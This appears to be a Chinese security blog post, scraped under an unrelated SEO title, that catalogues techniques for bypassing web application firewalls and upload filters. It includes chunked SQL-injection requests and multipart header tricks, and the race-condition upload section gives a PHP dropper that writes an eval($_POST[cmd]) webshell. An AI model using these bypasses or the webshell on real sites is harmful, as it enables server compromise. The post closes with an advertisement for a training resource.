asp网站怎么做404页面跳转本地手机网站建设服务
asp网站怎么做404页面跳转,本地手机网站建设服务,做网站临沂,自己做的网站怎么取sql数据目录
一、WAFWAFWAF绕过
1、脏数据绕过
2、高并发绕过
3、http参数污染
4、数据格式混淆
5、编码绕过
6、利用http协议绕过waf
7、请求方式转换
二、文件上传绕过
1、等号绕过
2、换行绕过
3、填充垃圾字符
4、NTFS ADS特性绕过
5、利用WAF的缺陷
6、双文件上传…目录一、WAFWAFWAF绕过1、脏数据绕过2、高并发绕过3、http参数污染4、数据格式混淆5、编码绕过6、利用http协议绕过waf7、请求方式转换二、文件上传绕过1、等号绕过2、换行绕过3、填充垃圾字符4、NTFS ADS特性绕过5、利用WAF的缺陷6、双文件上传7、条件竞争上传8、特性一、WAF绕过1、脏数据绕过即传入一段长数据使waf失效从而实现绕过waf。某些waf处理POST的数据时只会检测开头的8K后面选择全部放过。例如当发现某网站存在一个反序列化漏洞反序列化漏洞反序列化漏洞时但是无回显被waf拦截了利用脏数据插入5000个x字符可以成功绕过。2、高并发绕过对请求进行并发攻击请求会被负载均衡调度到不同节点导致某些请求绕过了waf的拦截3、http参数污染在 php 语言中 id1id2 后面的值会自动覆盖前面的值不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。4、数据格式混淆利用数据格式解析缺陷存在两种提交表单数据的请求类型application/x-www-form-urlencodedmultipart/form-data 支持key-Value方式可以修改提交格式这两种方式提交数据的效果是一样的。当然除了这种方式外一些其他方式也可能绕过waf例如将传入json数据将其修改为HTTP请求或者修改content-type等方式当然是在应用能够正常解析的前提下5、编码绕过对请求数据进行编码例如url编码Unicode编码等如果waf对数据不能有效的解码而应用后端能够正常解码就可以绕过waf。例如最常见的url编码对数据进行二次url编码waf进行一次解码并不能解析到有效的数据而后端在进行解码时传入的为有效的恶意数据。6、利用http协议绕过waf6.1 分块传输绕过waf先在数据包中添加Transfer-Encoding: chunked数字代表下一列字符所占位数最后需要用0独占一行表示结束结尾需要两个回车在头部加入 Transfer-Encoding: chunked 之后就代表这个报文采用了分块编码。这时post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据长度值独占一行长度不包括它结尾的也不包括分块数据结尾的且最后需要用0独占一行表示结束。注意分块编码传输需要将关键字and,or,select ,union等关键字拆开编码不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束并在0后空两行表示数据包结束不然点击提交按钮后会看到一直处于waiting状态。eg:……………… Connection: close Upgrade-Insecure-Requests: I ontent-Type: application/x-www-form-urlencoded Content-Length: 50 4 a1 4 unio 4 n se 5 lect 1 1 06.2 畸形包绕过pipline绕过原理http协议是由tcp协议封装而来当浏览器发起一个http请求时浏览器先和服务器建立起连接tcp连接然后发送http数据包即我们用burpsuite截获的数据其中包含了一个Connection字段一般值为closeapache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大超过一个http包容量需要分多次发送时值会变成keep-alive即本次发起的http请求所建立的tcp连接不断开直到所发送内容结束Connection为close为止。先关闭burpsuite长度更新为get请求先使用bp的method转换为POST请求get请求中空格使用%20代替Connection改为keep-alive点击burp中Repeater在下拉选项中取消update Content-Length选中。eg:POST /sqlinject.php Http/1.0 Host:127001 User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101 Firefox/65.0 Accept: text/htmL, application/xhtmlxml, application/xml; q0.9, image/webp. */ q0.8 Accept-Language: en-US,en:q0.5 Referer:http://127.0.0.1/sqlinjectphp?id1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Connection:keep-alive Upgrade-Insecure-Requests: 1 id1post/sqlinjeCt.php Http/1.0 Host:127.00.1 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010 Firefox/65.0 Accept: text/htmL application/xhtmlxmL application/xml q0.9, image/webp. * q0.8 Accept-Language: en-US, en, q0.5 Referer:http://127.0.0.1/sqlinjectphp?id1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 Connection: close pgrade-Insecure-Requests: 1 dl and 11然后你会收到两个返回包不过这种方法有可能被waf给拦截6.3 协议覆盖原理HTTP头里的Content-Type一般有application/x-www-form-urlencodedmultipart/form-datatext/plain三种其中multipart/form-data表示数据被编码为一条消息页上的每个控件对应消息中的一个部分。所以当waf没有规则匹配该协议传输的数据时可被绕过。将头部Content-Type改为multipart/form-data; boundary69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交数据是能被apache容器正确解析的尝试1 and 11也会被某狗waf拦截但如果其他waf没有规则拦截这种方式提交的数据包那么同样能绕过。POST /sQlinJect php Http/1.0 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0 Accept: text/htmL, application/xhtmlxmL, application/xmL: q0.9, image/webp, */* q0.8 Accept-Language: en-US, en: q0.5 Referer:http://127.0.0.1/sqlinject.php?id Content-Type: multipart/form-data; boundary69 Content-Length: 60 Connection close Upgrade-Insecure-Requests:1–69Content-Disposition: form-data; name“id”1–69–7、请求方式转换waf 在对危险字符进行检测的时候分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则请求被拦截变 换请求方式有几率能绕过检测例如或者修改为其它允许的方式例如options, head等提交方式。二、文件上传绕过1、等号绕过在filename后多添加两个等号2、换行绕过在文件后缀名处换行3、填充垃圾字符有些主机WAF软件为了不影响web服务器的性能会对校验的用户数据设置大小上限比如1M。此种情况可以构造一个大文件前面1M的内容为垃圾内容后面才是真正的木马内容便可以绕过WAF对文件内容的校验。在Content-Disposition字段后添加垃圾数据来绕过对文件名的校验当然也可以将垃圾数据放在数据包最开头这样便可以绕过对文件名的校验。4、NTFS ADS特性绕过ADS是NTFS磁盘格式的一个特性用于NTFS交换数据流。在上传文件时如果waf对请求正文的filename匹配不当的话可能会导致绕过。5、利用WAF的缺陷在恶意代码前加垃圾数据在数据包前加垃圾数据在Content-Disposition参数后面加垃圾数据多加一个filename更改HTTP请求方法删除实体里面的Conten-Type字段第一种是删除Content整行第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c将.php加c后面即可但是要注意额双引号要跟着c.php。删除Content-Disposition字段里的空格增加一个空格修改Content-Disposition字段值的大小写文件名后缀处回车多个Content-Disposition6、双文件上传本意为上传两个或多个文件去突破。上传点支持多文件上传但是却只对第一个文件做了过滤。利用方式在存在双文件上传漏洞的页面中查看上传的页面。F12找到上传的post表单action属性是指定上传检测页面一般是写的绝对路径比如xxx.asp/xxx.php补全urlhttps://www.xxx.com/xxx.php(asp)构造本地post提交表单form actionhttps://www.xxx.com/xxx.asp(php) methodpost nameform1 enctypemultipart/form‐data input nameFileName1 typeFILE classtx1 size40 input nameFileName2 typeFILE classtx1 size40 input typesubmit nameSubmit value上传 /form利用时只需要修改action的值为指定上传页面即可第一个文件上传允许的文件类型.jpg.png.gif等第二个上传文件是一句话木马或者WebShell脚本。这样就可以突破上传限制成功上传木马到服务器。eg------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; namefile_x; filenametest.txt Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; namefile_x; filenametest.php Content-Type: text/javascript最后上传的文件是test.php而非test.txt但是取的文件名只取了第一个就会被Bypass。7、条件竞争上传一些网站上传文件的逻辑时先允许上传任意文件然后检查上传文件的文件是否包含WebShell脚本如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差因为需要执行检查文件和删除文件的操作攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。攻击者需要先上传一个WebShell脚本1.php1.php的内容为生成一个新的WebShell脚本shell.php1.php写入如下代码?php fputs(fopen(../shell.php, w),?php eval($_POST[cmd]); ?); ?当1.php上传完成后客户端立即访问1.php则会在服务端当前目录下自动生成shell.php这时攻击者就利用了时间差完成了WebShell的上传8、特性多个filename早期版本安全狗可以多加一个filenameContent-Disposition: form-data; namefile_x; filenametest.txt; filenametest.php最终上传成功的文件名是test.php。但是由于解析文件名时会解析到第一个。正则默认都会匹配到第一个。交换name和filename的顺序规定Content-Disposition必须在最前面所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面filename在后面所以下面姿势会导致Bypass。Content-Disposition: form-data; filenamexx.php; namefile_x去掉引号,双引号变成单引号Content-Disposition: form-data; namefile_x; filenamexx.php Content-Disposition: form-data; namefile_x; filenamexx.php Content-Disposition: form-data; namefile_x; filenamexx.php Content-Disposition: form-data; namefile_x; filenamexx.php单引号、双引号、不要引号都能上传。大小写对这三个固定的字符串进行大小写转换Content-Dispositionnamefilename空格在: ; 添加1个或者多个空格。去掉或修改Content-Disposition值有的WAF在解析的时候认为Content-Disposition值一定是form-data造成绕过。Content-Disposition: namefile_x; filenamexx.php多个boundary最后上传的文件是test.php而非test.txt但是取的文件名只取了第一个就会被Bypass。------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; namefile_x; filenametest.txt Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; namefile_x; filenametest.php Content-Type: text/javascript多个分号文件解析时可能解析不到文件名导致绕过。Content-Disposition: form-data; namefile_x;;; filenametest.phpHeader在boundary前添加任意字符PHP支持JAVA报错Content-Type: multipart/form-data; bypassboundary----WebKitFormBoundaryj1oRYFW91eaj8Ex2filename换行PHP支持Java不支持Content-Disposition: form-data; namefile_x; file nametest.phpname和filename添加任意字符串PHP支持Java不支持Content-Disposition: namefile_x; bypass waf upload; filenametest.php;POST/GET有些WAF的规则是如果数据包为POST类型则校验数据包内容。此种情况可以上传一个POST型的数据包抓包将POST改为GET。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】